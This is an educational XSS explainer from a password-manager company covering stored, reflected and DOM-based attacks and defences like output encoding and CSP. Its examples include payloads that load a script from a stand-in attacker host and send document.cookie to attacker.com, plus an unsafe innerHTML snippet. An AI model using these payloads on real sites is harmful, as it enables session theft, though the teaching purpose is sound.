Cybersecurity Series: What is cross-site scripting (XSS) and how do you defend against it

At TeamPassword, we believe that true security is built on a foundation of both robust technology and informed users. As custodians of your most sensitive credential data, we maintain a proactive stance against an ever-evolving landscape of digital threats. While a password manager is a vital first line of defense, it is only one piece of a broader security puzzle. In this series, we pull back the curtain on the technical side of web safety—exploring how developers engineer defenses against sophisticated attacks and how you can sharpen your own awareness to keep your data out of the hands of cybercriminals.

What is Cross-Site Scripting (XSS) and How Do You Defend Against It?

Cross-Site Scripting (XSS) is a vulnerability where an attacker injects malicious scripts into content that is subsequently delivered to other users. Because the browser perceives the script as coming from a "trusted" website, it executes the code, allowing the attacker to bypass access controls, steal session tokens, or deface pages.

How Does XSS Work?

XSS occurs when a web application includes untrusted data in a web page without proper validation or escaping. There are three primary categories of XSS attacks:

1. Stored (Persistent) XSS

This is the most dangerous form of XSS. The malicious script is permanently stored on the target server (e.g., in a database, in a comment field, or a user profile). When a victim views the affected page, the script executes automatically.

Example: An attacker posts a comment on a forum:

The weather is fantastic today! <script src="https://attacker-site.com/steal.js"></script>

Every user who loads that forum thread will unknowingly execute steal.js, potentially sending their session cookies directly to the attacker.

2. Reflected XSS

In a reflected attack, the script is "reflected" off the web server to the victim's browser. This usually happens via a URL parameter or a form submission. The script is not stored on the server; instead, it is delivered to the victim through a link (often via phishing emails or social media).

Example: An attacker creates a malicious link for a search page:

https://insecure-site.com/search?q=<script>fetch('https://attacker.com/log?c='+document.cookie)</script>

When the victim clicks this link, the website "reflects" the script onto the page (e.g., "You searched for... [script]"), and the browser executes it.

3. DOM-based XSS

DOM-based XSS is a modern variant where the entire attack happens in the client-side code. The server is often not involved at all. The malicious script is executed when the application's client-side code handles data from an "unsafe" source in an unsafe way, such as writing a URL fragment to the page.

Example: A site uses the following logic to welcome users based on the URL hash:

var name = decodeURIComponent(window.location.hash.substring(1));
document.getElementById('welcome').innerHTML = "Hello, " + name;

An attacker can send a link ending in #<img src=x onerror=alert(1)>, which triggers the script entirely within the user's browser.

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Modern Strategies: How to Prevent XSS

In 2026, preventing XSS requires a "Defense in Depth" approach. Simply relying on one method is no longer enough. Here is how developers and organizations stay protected:

1. Output Encoding (The Gold Standard)

The most effective defense is to convert untrusted data into a safe form where the browser treats it as text rather than active code. For example, converting < to < ensures the browser displays the character instead of opening a tag. Modern frameworks like React, Angular, and Vue do this automatically for most inputs.

2. Content Security Policy (CSP)

A Content Security Policy is a powerful security layer that tells the browser which sources of scripts are trusted. A well-configured CSP can block all inline scripts and restrict script execution to specific, verified domains, effectively neutralizing most XSS attacks even if a vulnerability exists.

3. Context-Aware Input Validation

While output encoding is vital, input validation is your first line of defense. Applications should use "allow-lists" rather than "deny-lists." If a field expects a ZIP code, only allow numbers. If it expects a color, only allow specific hex codes or names.

4. Using "HttpOnly" Cookie Flags

To mitigate the impact of an XSS attack, developers should set the HttpOnly flag on session cookies. This prevents JavaScript from accessing the cookie, meaning that even if an attacker successfully runs a script, they cannot steal the session token to hijack the account.

5. User Awareness & Link Hygiene

From the user's perspective, vigilance remains key. Always hover over links to inspect the destination URL before clicking, especially in emails or private messages. If a URL contains complex scripts or unusual characters, it is a significant red flag.

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Conclusion

As the web becomes more interactive and complex, XSS remains a top priority for security researchers and developers alike. In 2026, the rise of AI-driven code generation has made it easier for vulnerabilities to slip through—but it has also empowered security teams with better automated testing tools.

True security is a partnership between robust engineering and informed users. At TeamPassword, we prioritize the integrity of your data by employing industry-leading security protocols and providing the tools necessary for safe credential management. By staying aware of risks like XSS and utilizing specialized security services, you can navigate the digital world with confidence. Join the thousands of companies that trust us to keep their most sensitive data where it belongs: in safe hands.

Get started with a free trial of TeamPassword today!